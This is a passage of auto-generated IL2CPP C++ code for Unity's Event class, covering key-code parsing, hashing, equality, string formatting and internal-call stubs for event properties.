argument*/NULL); Event_t3028476042 * L_190 = V_0; Event_t3028476042 * L_191 = L_190; NullCheck(L_191); int32_t L_192 = Event_get_modifiers_m430092210(L_191, /*hidden argument*/NULL); NullCheck(L_191); Event_set_modifiers_m2565042639(L_191, ((int32_t)((int32_t)L_192|(int32_t)((int32_t)64))), /*hidden argument*/NULL); goto IL_0a83; } IL_0828: { Event_t3028476042 * L_193 = V_0; NullCheck(L_193); Event_set_keyCode_m1893308983(L_193, ((int32_t)285), /*hidden argument*/NULL); Event_t3028476042 * L_194 = V_0; Event_t3028476042 * L_195 = L_194; NullCheck(L_195); int32_t L_196 = Event_get_modifiers_m430092210(L_195, /*hidden argument*/NULL); NullCheck(L_195); Event_set_modifiers_m2565042639(L_195, ((int32_t)((int32_t)L_196|(int32_t)((int32_t)64))), /*hidden argument*/NULL); goto IL_0a83; } IL_0847: { Event_t3028476042 * L_197 = V_0; NullCheck(L_197); Event_set_keyCode_m1893308983(L_197, ((int32_t)286), /*hidden argument*/NULL); Event_t3028476042 * L_198 = V_0; Event_t3028476042 * L_199 = L_198; NullCheck(L_199); int32_t L_200 = Event_get_modifiers_m430092210(L_199, /*hidden argument*/NULL); NullCheck(L_199); Event_set_modifiers_m2565042639(L_199, ((int32_t)((int32_t)L_200|(int32_t)((int32_t)64))), /*hidden argument*/NULL); goto IL_0a83; } IL_0866: { Event_t3028476042 * L_201 = V_0; NullCheck(L_201); Event_set_keyCode_m1893308983(L_201, ((int32_t)287), /*hidden argument*/NULL); Event_t3028476042 * L_202 = V_0; Event_t3028476042 * L_203 = L_202; NullCheck(L_203); int32_t L_204 = Event_get_modifiers_m430092210(L_203, /*hidden argument*/NULL); NullCheck(L_203); Event_set_modifiers_m2565042639(L_203, ((int32_t)((int32_t)L_204|(int32_t)((int32_t)64))), /*hidden argument*/NULL); goto IL_0a83; } IL_0885: { Event_t3028476042 * L_205 = V_0; NullCheck(L_205); Event_set_keyCode_m1893308983(L_205, ((int32_t)288), /*hidden argument*/NULL); Event_t3028476042 * L_206 = V_0; Event_t3028476042 * L_207 = L_206; NullCheck(L_207); int32_t L_208 = Event_get_modifiers_m430092210(L_207, /*hidden argument*/NULL); NullCheck(L_207); Event_set_modifiers_m2565042639(L_207, ((int32_t)((int32_t)L_208|(int32_t)((int32_t)64))), /*hidden argument*/NULL); goto IL_0a83; } IL_08a4: { Event_t3028476042 * L_209 = V_0; NullCheck(L_209); Event_set_keyCode_m1893308983(L_209, ((int32_t)289), /*hidden argument*/NULL); Event_t3028476042 * L_210 = V_0; Event_t3028476042 * L_211 = L_210; NullCheck(L_211); int32_t L_212 = Event_get_modifiers_m430092210(L_211, /*hidden argument*/NULL); NullCheck(L_211); Event_set_modifiers_m2565042639(L_211, ((int32_t)((int32_t)L_212|(int32_t)((int32_t)64))), /*hidden argument*/NULL); goto IL_0a83; } IL_08c3: { Event_t3028476042 * L_213 = V_0; NullCheck(L_213); Event_set_keyCode_m1893308983(L_213, ((int32_t)290), /*hidden argument*/NULL); Event_t3028476042 * L_214 = V_0; Event_t3028476042 * L_215 = L_214; NullCheck(L_215); int32_t L_216 = Event_get_modifiers_m430092210(L_215, /*hidden argument*/NULL); NullCheck(L_215); Event_set_modifiers_m2565042639(L_215, ((int32_t)((int32_t)L_216|(int32_t)((int32_t)64))), /*hidden argument*/NULL); goto IL_0a83; } IL_08e2: { Event_t3028476042 * L_217 = V_0; NullCheck(L_217); Event_set_keyCode_m1893308983(L_217, ((int32_t)291), /*hidden argument*/NULL); Event_t3028476042 * L_218 = V_0; Event_t3028476042 * L_219 = L_218; NullCheck(L_219); int32_t L_220 = Event_get_modifiers_m430092210(L_219, /*hidden argument*/NULL); NullCheck(L_219); Event_set_modifiers_m2565042639(L_219, ((int32_t)((int32_t)L_220|(int32_t)((int32_t)64))), /*hidden argument*/NULL); goto IL_0a83; } IL_0901: { Event_t3028476042 * L_221 = V_0; NullCheck(L_221); Event_set_keyCode_m1893308983(L_221, ((int32_t)292), /*hidden argument*/NULL); Event_t3028476042 * L_222 = V_0; Event_t3028476042 * L_223 = L_222; NullCheck(L_223); int32_t L_224 = Event_get_modifiers_m430092210(L_223, /*hidden argument*/NULL); NullCheck(L_223); Event_set_modifiers_m2565042639(L_223, ((int32_t)((int32_t)L_224|(int32_t)((int32_t)64))), /*hidden argument*/NULL); goto IL_0a83; } IL_0920: { Event_t3028476042 * L_225 = V_0; NullCheck(L_225); Event_set_keyCode_m1893308983(L_225, ((int32_t)293), /*hidden argument*/NULL); Event_t3028476042 * L_226 = V_0; Event_t3028476042 * L_227 = L_226; NullCheck(L_227); int32_t L_228 = Event_get_modifiers_m430092210(L_227, /*hidden argument*/NULL); NullCheck(L_227); Event_set_modifiers_m2565042639(L_227, ((int32_t)((int32_t)L_228|(int32_t)((int32_t)64))), /*hidden argument*/NULL); goto IL_0a83; } IL_093f: { Event_t3028476042 * L_229 = V_0; NullCheck(L_229); Event_set_keyCode_m1893308983(L_229, ((int32_t)294), /*hidden argument*/NULL); Event_t3028476042 * L_230 = V_0; Event_t3028476042 * L_231 = L_230; NullCheck(L_231); int32_t L_232 = Event_get_modifiers_m430092210(L_231, /*hidden argument*/NULL); NullCheck(L_231); Event_set_modifiers_m2565042639(L_231, ((int32_t)((int32_t)L_232|(int32_t)((int32_t)64))), /*hidden argument*/NULL); goto IL_0a83; } IL_095e: { Event_t3028476042 * L_233 = V_0; NullCheck(L_233); Event_set_keyCode_m1893308983(L_233, ((int32_t)295), /*hidden argument*/NULL); Event_t3028476042 * L_234 = V_0; Event_t3028476042 * L_235 = L_234; NullCheck(L_235); int32_t L_236 = Event_get_modifiers_m430092210(L_235, /*hidden argument*/NULL); NullCheck(L_235); Event_set_modifiers_m2565042639(L_235, ((int32_t)((int32_t)L_236|(int32_t)((int32_t)64))), /*hidden argument*/NULL); goto IL_0a83; } IL_097d: { Event_t3028476042 * L_237 = V_0; NullCheck(L_237); Event_set_keyCode_m1893308983(L_237, ((int32_t)296), /*hidden argument*/NULL); Event_t3028476042 * L_238 = V_0; Event_t3028476042 * L_239 = L_238; NullCheck(L_239); int32_t L_240 = Event_get_modifiers_m430092210(L_239, /*hidden argument*/NULL); NullCheck(L_239); Event_set_modifiers_m2565042639(L_239, ((int32_t)((int32_t)L_240|(int32_t)((int32_t)64))), /*hidden argument*/NULL); goto IL_0a83; } IL_099c: { Event_t3028476042 * L_241 = V_0; NullCheck(L_241); Event_set_keyCode_m1893308983(L_241, ((int32_t)27), /*hidden argument*/NULL); goto IL_0a83; } IL_09a9: { Event_t3028476042 * L_242 = V_0; NullCheck(L_242); Event_set_character_m2479063678(L_242, ((int32_t)10), /*hidden argument*/NULL); Event_t3028476042 * L_243 = V_0; NullCheck(L_243); Event_set_keyCode_m1893308983(L_243, ((int32_t)13), /*hidden argument*/NULL); Event_t3028476042 * L_244 = V_0; Event_t3028476042 * L_245 = L_244; NullCheck(L_245); int32_t L_246 = Event_get_modifiers_m430092210(L_245, /*hidden argument*/NULL); NullCheck(L_245); Event_set_modifiers_m2565042639(L_245, ((int32_t)((int32_t)L_246&(int32_t)((int32_t)-65))), /*hidden argument*/NULL); goto IL_0a83; } IL_09cd: { Event_t3028476042 * L_247 = V_0; NullCheck(L_247); Event_set_keyCode_m1893308983(L_247, ((int32_t)32), /*hidden argument*/NULL); Event_t3028476042 * L_248 = V_0; NullCheck(L_248); Event_set_character_m2479063678(L_248, ((int32_t)32), /*hidden argument*/NULL); Event_t3028476042 * L_249 = V_0; Event_t3028476042 * L_250 = L_249; NullCheck(L_250); int32_t L_251 = Event_get_modifiers_m430092210(L_250, /*hidden argument*/NULL); NullCheck(L_250); Event_set_modifiers_m2565042639(L_250, ((int32_t)((int32_t)L_251&(int32_t)((int32_t)-65))), /*hidden argument*/NULL); goto IL_0a83; } IL_09f1: { String_t* L_252 = V_5; NullCheck(L_252); int32_t L_253 = String_get_Length_m1606060069(L_252, /*hidden argument*/NULL); if ((((int32_t)L_253) == ((int32_t)1))) { goto IL_0a4b; } } { } IL_09ff: try { // begin try (depth: 1) Event_t3028476042 * L_254 = V_0; IL2CPP_RUNTIME_CLASS_INIT(Type_t_il2cpp_TypeInfo_var); Type_t * L_255 = Type_GetTypeFromHandle_m432505302(NULL /*static, unused*/, LoadTypeToken(KeyCode_t2283395152_0_0_0_var), /*hidden argument*/NULL); String_t* L_256 = V_5; IL2CPP_RUNTIME_CLASS_INIT(Enum_t2459695545_il2cpp_TypeInfo_var); Il2CppObject * L_257 = Enum_Parse_m982704874(NULL /*static, unused*/, L_255, L_256, (bool)1, /*hidden argument*/NULL); NullCheck(L_254); Event_set_keyCode_m1893308983(L_254, ((*(int32_t*)((int32_t*)UnBox(L_257, KeyCode_t2283395152_il2cpp_TypeInfo_var)))), /*hidden argument*/NULL); goto IL_0a45; } // end try (depth: 1) catch(Il2CppExceptionWrapper& e) { __exception_local = (Exception_t1927440687 *)e.ex; if(il2cpp_codegen_class_is_assignable_from (ArgumentException_t3259014390_il2cpp_TypeInfo_var, e.ex->klass)) goto CATCH_0a23; throw e; } CATCH_0a23: { // begin catch(System.ArgumentException) ObjectU5BU5D_t3614634134* L_258 = ((ObjectU5BU5D_t3614634134*)SZArrayNew(ObjectU5BU5D_t3614634134_il2cpp_TypeInfo_var, (uint32_t)1)); String_t* L_259 = V_5; NullCheck(L_258); ArrayElementTypeCheck (L_258, L_259); (L_258)->SetAt(static_cast(0), (Il2CppObject *)L_259); String_t* L_260 = UnityString_Format_m2949645127(NULL /*static, unused*/, _stringLiteral1755577857, L_258, /*hidden argument*/NULL); IL2CPP_RUNTIME_CLASS_INIT(Debug_t1368543263_il2cpp_TypeInfo_var); Debug_LogError_m3715728798(NULL /*static, unused*/, L_260, /*hidden argument*/NULL); goto IL_0a45; } // end catch (depth: 1) IL_0a45: { goto IL_0a7e; } IL_0a4b: { Event_t3028476042 * L_261 = V_0; String_t* L_262 = V_5; NullCheck(L_262); String_t* L_263 = String_ToLower_m2994460523(L_262, /*hidden argument*/NULL); NullCheck(L_263); Il2CppChar L_264 = String_get_Chars_m4230566705(L_263, 0, /*hidden argument*/NULL); NullCheck(L_261); Event_set_character_m2479063678(L_261, L_264, /*hidden argument*/NULL); Event_t3028476042 * L_265 = V_0; Event_t3028476042 * L_266 = V_0; NullCheck(L_266); Il2CppChar L_267 = Event_get_character_m3740896233(L_266, /*hidden argument*/NULL); NullCheck(L_265); Event_set_keyCode_m1893308983(L_265, L_267, /*hidden argument*/NULL); Event_t3028476042 * L_268 = V_0; NullCheck(L_268); int32_t L_269 = Event_get_modifiers_m430092210(L_268, /*hidden argument*/NULL); if (!L_269) { goto IL_0a7d; } } { Event_t3028476042 * L_270 = V_0; NullCheck(L_270); Event_set_character_m2479063678(L_270, 0, /*hidden argument*/NULL); } IL_0a7d: { } IL_0a7e: { goto IL_0a83; } IL_0a83: { Event_t3028476042 * L_271 = V_0; V_1 = L_271; goto IL_0a8a; } IL_0a8a: { Event_t3028476042 * L_272 = V_1; return L_272; } } // System.Int32 UnityEngine.Event::GetHashCode() extern "C" int32_t Event_GetHashCode_m2214628668 (Event_t3028476042 * __this, const MethodInfo* method) { int32_t V_0 = 0; Vector2_t2243707579 V_1; memset(&V_1, 0, sizeof(V_1)); int32_t V_2 = 0; { V_0 = 1; bool L_0 = Event_get_isKey_m1145918225(__this, /*hidden argument*/NULL); if (!L_0) { goto IL_0016; } } { int32_t L_1 = Event_get_keyCode_m3364681288(__this, /*hidden argument*/NULL); V_0 = (((int32_t)((uint16_t)L_1))); } IL_0016: { bool L_2 = Event_get_isMouse_m569219555(__this, /*hidden argument*/NULL); if (!L_2) { goto IL_0036; } } { Vector2_t2243707579 L_3 = Event_get_mousePosition_m3789571399(__this, /*hidden argument*/NULL); V_1 = L_3; int32_t L_4 = Vector2_GetHashCode_m2353429373((&V_1), /*hidden argument*/NULL); V_0 = L_4; } IL_0036: { int32_t L_5 = V_0; int32_t L_6 = Event_get_modifiers_m430092210(__this, /*hidden argument*/NULL); V_0 = ((int32_t)((int32_t)((int32_t)((int32_t)L_5*(int32_t)((int32_t)37)))|(int32_t)L_6)); int32_t L_7 = V_0; V_2 = L_7; goto IL_0049; } IL_0049: { int32_t L_8 = V_2; return L_8; } } // System.Boolean UnityEngine.Event::Equals(System.Object) extern "C" bool Event_Equals_m57747812 (Event_t3028476042 * __this, Il2CppObject * ___obj0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Event_Equals_m57747812_MetadataUsageId); s_Il2CppMethodInitialized = true; } bool V_0 = false; Event_t3028476042 * V_1 = NULL; { Il2CppObject * L_0 = ___obj0; if (L_0) { goto IL_000e; } } { V_0 = (bool)0; goto IL_00b7; } IL_000e: { Il2CppObject * L_1 = ___obj0; bool L_2 = Object_ReferenceEquals_m3900584722(NULL /*static, unused*/, __this, L_1, /*hidden argument*/NULL); if (!L_2) { goto IL_0021; } } { V_0 = (bool)1; goto IL_00b7; } IL_0021: { Il2CppObject * L_3 = ___obj0; NullCheck(L_3); Type_t * L_4 = Object_GetType_m191970594(L_3, /*hidden argument*/NULL); Type_t * L_5 = Object_GetType_m191970594(__this, /*hidden argument*/NULL); if ((((Il2CppObject*)(Type_t *)L_4) == ((Il2CppObject*)(Type_t *)L_5))) { goto IL_0039; } } { V_0 = (bool)0; goto IL_00b7; } IL_0039: { Il2CppObject * L_6 = ___obj0; V_1 = ((Event_t3028476042 *)CastclassSealed(L_6, Event_t3028476042_il2cpp_TypeInfo_var)); int32_t L_7 = Event_get_type_m2426033198(__this, /*hidden argument*/NULL); Event_t3028476042 * L_8 = V_1; NullCheck(L_8); int32_t L_9 = Event_get_type_m2426033198(L_8, /*hidden argument*/NULL); if ((!(((uint32_t)L_7) == ((uint32_t)L_9)))) { goto IL_0068; } } { int32_t L_10 = Event_get_modifiers_m430092210(__this, /*hidden argument*/NULL); Event_t3028476042 * L_11 = V_1; NullCheck(L_11); int32_t L_12 = Event_get_modifiers_m430092210(L_11, /*hidden argument*/NULL); if ((((int32_t)((int32_t)((int32_t)L_10&(int32_t)((int32_t)-33)))) == ((int32_t)((int32_t)((int32_t)L_12&(int32_t)((int32_t)-33)))))) { goto IL_006f; } } IL_0068: { V_0 = (bool)0; goto IL_00b7; } IL_006f: { bool L_13 = Event_get_isKey_m1145918225(__this, /*hidden argument*/NULL); if (!L_13) { goto IL_008e; } } { int32_t L_14 = Event_get_keyCode_m3364681288(__this, /*hidden argument*/NULL); Event_t3028476042 * L_15 = V_1; NullCheck(L_15); int32_t L_16 = Event_get_keyCode_m3364681288(L_15, /*hidden argument*/NULL); V_0 = (bool)((((int32_t)L_14) == ((int32_t)L_16))? 1 : 0); goto IL_00b7; } IL_008e: { bool L_17 = Event_get_isMouse_m569219555(__this, /*hidden argument*/NULL); if (!L_17) { goto IL_00b0; } } { Vector2_t2243707579 L_18 = Event_get_mousePosition_m3789571399(__this, /*hidden argument*/NULL); Event_t3028476042 * L_19 = V_1; NullCheck(L_19); Vector2_t2243707579 L_20 = Event_get_mousePosition_m3789571399(L_19, /*hidden argument*/NULL); bool L_21 = Vector2_op_Equality_m4168854394(NULL /*static, unused*/, L_18, L_20, /*hidden argument*/NULL); V_0 = L_21; goto IL_00b7; } IL_00b0: { V_0 = (bool)0; goto IL_00b7; } IL_00b7: { bool L_22 = V_0; return L_22; } } // System.String UnityEngine.Event::ToString() extern "C" String_t* Event_ToString_m2977598998 (Event_t3028476042 * __this, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Event_ToString_m2977598998_MetadataUsageId); s_Il2CppMethodInitialized = true; } String_t* V_0 = NULL; { bool L_0 = Event_get_isKey_m1145918225(__this, /*hidden argument*/NULL); if (!L_0) { goto IL_00c1; } } { Il2CppChar L_1 = Event_get_character_m3740896233(__this, /*hidden argument*/NULL); if (L_1) { goto IL_0058; } } { ObjectU5BU5D_t3614634134* L_2 = ((ObjectU5BU5D_t3614634134*)SZArrayNew(ObjectU5BU5D_t3614634134_il2cpp_TypeInfo_var, (uint32_t)3)); int32_t L_3 = Event_get_type_m2426033198(__this, /*hidden argument*/NULL); int32_t L_4 = L_3; Il2CppObject * L_5 = Box(EventType_t3919834026_il2cpp_TypeInfo_var, &L_4); NullCheck(L_2); ArrayElementTypeCheck (L_2, L_5); (L_2)->SetAt(static_cast(0), (Il2CppObject *)L_5); ObjectU5BU5D_t3614634134* L_6 = L_2; int32_t L_7 = Event_get_modifiers_m430092210(__this, /*hidden argument*/NULL); int32_t L_8 = L_7; Il2CppObject * L_9 = Box(EventModifiers_t2690251474_il2cpp_TypeInfo_var, &L_8); NullCheck(L_6); ArrayElementTypeCheck (L_6, L_9); (L_6)->SetAt(static_cast(1), (Il2CppObject *)L_9); ObjectU5BU5D_t3614634134* L_10 = L_6; int32_t L_11 = Event_get_keyCode_m3364681288(__this, /*hidden argument*/NULL); int32_t L_12 = L_11; Il2CppObject * L_13 = Box(KeyCode_t2283395152_il2cpp_TypeInfo_var, &L_12); NullCheck(L_10); ArrayElementTypeCheck (L_10, L_13); (L_10)->SetAt(static_cast(2), (Il2CppObject *)L_13); String_t* L_14 = UnityString_Format_m2949645127(NULL /*static, unused*/, _stringLiteral3843465330, L_10, /*hidden argument*/NULL); V_0 = L_14; goto IL_016e; } IL_0058: { ObjectU5BU5D_t3614634134* L_15 = ((ObjectU5BU5D_t3614634134*)SZArrayNew(ObjectU5BU5D_t3614634134_il2cpp_TypeInfo_var, (uint32_t)8)); NullCheck(L_15); ArrayElementTypeCheck (L_15, _stringLiteral4288185556); (L_15)->SetAt(static_cast(0), (Il2CppObject *)_stringLiteral4288185556); ObjectU5BU5D_t3614634134* L_16 = L_15; int32_t L_17 = Event_get_type_m2426033198(__this, /*hidden argument*/NULL); int32_t L_18 = L_17; Il2CppObject * L_19 = Box(EventType_t3919834026_il2cpp_TypeInfo_var, &L_18); NullCheck(L_16); ArrayElementTypeCheck (L_16, L_19); (L_16)->SetAt(static_cast(1), (Il2CppObject *)L_19); ObjectU5BU5D_t3614634134* L_20 = L_16; NullCheck(L_20); ArrayElementTypeCheck (L_20, _stringLiteral1689989475); (L_20)->SetAt(static_cast(2), (Il2CppObject *)_stringLiteral1689989475); ObjectU5BU5D_t3614634134* L_21 = L_20; Il2CppChar L_22 = Event_get_character_m3740896233(__this, /*hidden argument*/NULL); int32_t L_23 = ((int32_t)L_22); Il2CppObject * L_24 = Box(Int32_t2071877448_il2cpp_TypeInfo_var, &L_23); NullCheck(L_21); ArrayElementTypeCheck (L_21, L_24); (L_21)->SetAt(static_cast(3), (Il2CppObject *)L_24); ObjectU5BU5D_t3614634134* L_25 = L_21; NullCheck(L_25); ArrayElementTypeCheck (L_25, _stringLiteral4122007790); (L_25)->SetAt(static_cast(4), (Il2CppObject *)_stringLiteral4122007790); ObjectU5BU5D_t3614634134* L_26 = L_25; int32_t L_27 = Event_get_modifiers_m430092210(__this, /*hidden argument*/NULL); int32_t L_28 = L_27; Il2CppObject * L_29 = Box(EventModifiers_t2690251474_il2cpp_TypeInfo_var, &L_28); NullCheck(L_26); ArrayElementTypeCheck (L_26, L_29); (L_26)->SetAt(static_cast(5), (Il2CppObject *)L_29); ObjectU5BU5D_t3614634134* L_30 = L_26; NullCheck(L_30); ArrayElementTypeCheck (L_30, _stringLiteral3835881582); (L_30)->SetAt(static_cast(6), (Il2CppObject *)_stringLiteral3835881582); ObjectU5BU5D_t3614634134* L_31 = L_30; int32_t L_32 = Event_get_keyCode_m3364681288(__this, /*hidden argument*/NULL); int32_t L_33 = L_32; Il2CppObject * L_34 = Box(KeyCode_t2283395152_il2cpp_TypeInfo_var, &L_33); NullCheck(L_31); ArrayElementTypeCheck (L_31, L_34); (L_31)->SetAt(static_cast(7), (Il2CppObject *)L_34); IL2CPP_RUNTIME_CLASS_INIT(String_t_il2cpp_TypeInfo_var); String_t* L_35 = String_Concat_m3881798623(NULL /*static, unused*/, L_31, /*hidden argument*/NULL); V_0 = L_35; goto IL_016e; } IL_00c1: { bool L_36 = Event_get_isMouse_m569219555(__this, /*hidden argument*/NULL); if (!L_36) { goto IL_010c; } } { ObjectU5BU5D_t3614634134* L_37 = ((ObjectU5BU5D_t3614634134*)SZArrayNew(ObjectU5BU5D_t3614634134_il2cpp_TypeInfo_var, (uint32_t)3)); int32_t L_38 = Event_get_type_m2426033198(__this, /*hidden argument*/NULL); int32_t L_39 = L_38; Il2CppObject * L_40 = Box(EventType_t3919834026_il2cpp_TypeInfo_var, &L_39); NullCheck(L_37); ArrayElementTypeCheck (L_37, L_40); (L_37)->SetAt(static_cast(0), (Il2CppObject *)L_40); ObjectU5BU5D_t3614634134* L_41 = L_37; Vector2_t2243707579 L_42 = Event_get_mousePosition_m3789571399(__this, /*hidden argument*/NULL); Vector2_t2243707579 L_43 = L_42; Il2CppObject * L_44 = Box(Vector2_t2243707579_il2cpp_TypeInfo_var, &L_43); NullCheck(L_41); ArrayElementTypeCheck (L_41, L_44); (L_41)->SetAt(static_cast(1), (Il2CppObject *)L_44); ObjectU5BU5D_t3614634134* L_45 = L_41; int32_t L_46 = Event_get_modifiers_m430092210(__this, /*hidden argument*/NULL); int32_t L_47 = L_46; Il2CppObject * L_48 = Box(EventModifiers_t2690251474_il2cpp_TypeInfo_var, &L_47); NullCheck(L_45); ArrayElementTypeCheck (L_45, L_48); (L_45)->SetAt(static_cast(2), (Il2CppObject *)L_48); String_t* L_49 = UnityString_Format_m2949645127(NULL /*static, unused*/, _stringLiteral991452214, L_45, /*hidden argument*/NULL); V_0 = L_49; goto IL_016e; } IL_010c: { int32_t L_50 = Event_get_type_m2426033198(__this, /*hidden argument*/NULL); if ((((int32_t)L_50) == ((int32_t)((int32_t)14)))) { goto IL_0126; } } { int32_t L_51 = Event_get_type_m2426033198(__this, /*hidden argument*/NULL); if ((!(((uint32_t)L_51) == ((uint32_t)((int32_t)13))))) { goto IL_0153; } } IL_0126: { ObjectU5BU5D_t3614634134* L_52 = ((ObjectU5BU5D_t3614634134*)SZArrayNew(ObjectU5BU5D_t3614634134_il2cpp_TypeInfo_var, (uint32_t)2)); int32_t L_53 = Event_get_type_m2426033198(__this, /*hidden argument*/NULL); int32_t L_54 = L_53; Il2CppObject * L_55 = Box(EventType_t3919834026_il2cpp_TypeInfo_var, &L_54); NullCheck(L_52); ArrayElementTypeCheck (L_52, L_55); (L_52)->SetAt(static_cast(0), (Il2CppObject *)L_55); ObjectU5BU5D_t3614634134* L_56 = L_52; String_t* L_57 = Event_get_commandName_m4234691381(__this, /*hidden argument*/NULL); NullCheck(L_56); ArrayElementTypeCheck (L_56, L_57); (L_56)->SetAt(static_cast(1), (Il2CppObject *)L_57); String_t* L_58 = UnityString_Format_m2949645127(NULL /*static, unused*/, _stringLiteral858294771, L_56, /*hidden argument*/NULL); V_0 = L_58; goto IL_016e; } IL_0153: { int32_t L_59 = Event_get_type_m2426033198(__this, /*hidden argument*/NULL); int32_t L_60 = L_59; Il2CppObject * L_61 = Box(EventType_t3919834026_il2cpp_TypeInfo_var, &L_60); IL2CPP_RUNTIME_CLASS_INIT(String_t_il2cpp_TypeInfo_var); String_t* L_62 = String_Concat_m56707527(NULL /*static, unused*/, _stringLiteral371857150, L_61, /*hidden argument*/NULL); V_0 = L_62; goto IL_016e; } IL_016e: { String_t* L_63 = V_0; return L_63; } } // System.Void UnityEngine.Event::Use() extern "C" void Event_Use_m3575594482 (Event_t3028476042 * __this, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Event_Use_m3575594482_MetadataUsageId); s_Il2CppMethodInitialized = true; } { int32_t L_0 = Event_get_type_m2426033198(__this, /*hidden argument*/NULL); if ((((int32_t)L_0) == ((int32_t)7))) { goto IL_0019; } } { int32_t L_1 = Event_get_type_m2426033198(__this, /*hidden argument*/NULL); if ((!(((uint32_t)L_1) == ((uint32_t)8)))) { goto IL_003e; } } IL_0019: { ObjectU5BU5D_t3614634134* L_2 = ((ObjectU5BU5D_t3614634134*)SZArrayNew(ObjectU5BU5D_t3614634134_il2cpp_TypeInfo_var, (uint32_t)1)); int32_t L_3 = Event_get_type_m2426033198(__this, /*hidden argument*/NULL); int32_t L_4 = L_3; Il2CppObject * L_5 = Box(EventType_t3919834026_il2cpp_TypeInfo_var, &L_4); NullCheck(L_2); ArrayElementTypeCheck (L_2, L_5); (L_2)->SetAt(static_cast(0), (Il2CppObject *)L_5); String_t* L_6 = UnityString_Format_m2949645127(NULL /*static, unused*/, _stringLiteral110411363, L_2, /*hidden argument*/NULL); IL2CPP_RUNTIME_CLASS_INIT(Debug_t1368543263_il2cpp_TypeInfo_var); Debug_LogWarning_m2503577968(NULL /*static, unused*/, L_6, /*hidden argument*/NULL); } IL_003e: { Event_Internal_Use_m1591831288(__this, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.Event::Init(System.Int32) extern "C" void Event_Init_m3901382626 (Event_t3028476042 * __this, int32_t ___displayIndex0, const MethodInfo* method) { typedef void (*Event_Init_m3901382626_ftn) (Event_t3028476042 *, int32_t); static Event_Init_m3901382626_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Event_Init_m3901382626_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Event::Init(System.Int32)"); _il2cpp_icall_func(__this, ___displayIndex0); } // System.Void UnityEngine.Event::Cleanup() extern "C" void Event_Cleanup_m1195902101 (Event_t3028476042 * __this, const MethodInfo* method) { typedef void (*Event_Cleanup_m1195902101_ftn) (Event_t3028476042 *); static Event_Cleanup_m1195902101_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Event_Cleanup_m1195902101_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Event::Cleanup()"); _il2cpp_icall_func(__this); } // UnityEngine.EventType UnityEngine.Event::get_rawType() extern "C" int32_t Event_get_rawType_m1373640154 (Event_t3028476042 * __this, const MethodInfo* method) { typedef int32_t (*Event_get_rawType_m1373640154_ftn) (Event_t3028476042 *); static Event_get_rawType_m1373640154_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Event_get_rawType_m1373640154_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Event::get_rawType()"); return _il2cpp_icall_func(__this); } // UnityEngine.EventType UnityEngine.Event::get_type() extern "C" int32_t Event_get_type_m2426033198 (Event_t3028476042 * __this, const MethodInfo* method) { typedef int32_t (*Event_get_type_m2426033198_ftn) (Event_t3028476042 *); static Event_get_type_m2426033198_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Event_get_type_m2426033198_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Event::get_type()"); return _il2cpp_icall_func(__this); } // System.Void UnityEngine.Event::set_type(UnityEngine.EventType) extern "C" void Event_set_type_m4059414571 (Event_t3028476042 * __this, int32_t ___value0, const MethodInfo* method) { typedef void (*Event_set_type_m4059414571_ftn) (Event_t3028476042 *, int32_t); static Event_set_type_m4059414571_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Event_set_type_m4059414571_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Event::set_type(UnityEngine.EventType)"); _il2cpp_icall_func(__this, ___value0); } // System.Void UnityEngine.Event::Internal_GetMousePosition(UnityEngine.Vector2&) extern "C" void Event_Internal_GetMousePosition_m38523489 (Event_t3028476042 * __this, Vector2_t2243707579 * ___value0, const MethodInfo* method) { typedef void (*Event_Internal_GetMousePosition_m38523489_ftn) (Event_t3028476042 *, Vector2_t2243707579 *); static Event_Internal_GetMousePosition_m38523489_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Event_Internal_GetMousePosition_m38523489_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Event::Internal_GetMousePosition(UnityEngine.Vector2&)"); _il2cpp_icall_func(__this, ___value0); } // UnityEngine.EventModifiers UnityEngine.Event::get_modifiers() extern "C" int32_t Event_get_modifiers_m430092210 (Event_t3028476042 * __this, const MethodInfo* method) { typedef int32_t (*Event_get_modifiers_m430092210_ftn) (Event_t3028476042 *); static Event_get_modifiers_m430092210_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Event_get_modifiers_m430092210_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Event::get_modifiers()"); return _il2cpp_icall_func(__this); } // System.Void UnityEngine.Event::set_modifiers(UnityEngine.EventModifiers) extern "C" void Event_set_modifiers_m2565042639 (Event_t3028476042 * __this, int32_t ___value0, const MethodInfo* method) { typedef void (*Event_set_modifiers_m2565042639_ftn) (Event_t3028476042 *, int32_t); static Event_set_modifiers_m2565042639_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Event_set_modifiers_m2565042639_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Event::set_modifiers(UnityEngine.EventModifiers)"); _il2cpp_icall_func(__this, ___value0); } // System.Int32 UnityEngine.Event::get_clickCount() extern "C" int32_t Event_get_clickCount_m2139778827 (Event_t3028476042 * __this, const MethodInfo* method) { typedef int32_t (*Event_get_clickCount_m2139778827_ftn) (Event_t3028476042 *); static Event_get_clickCount_m2139778827_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Event_get_clickCount_m2139778827_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Event::get_clickCount()"); return _il2cpp_icall_func(__this); } // System.Char UnityEngine.Event::get_character() extern "C" Il2CppChar Event_get_character_m3740896233 (Event_t3028476042 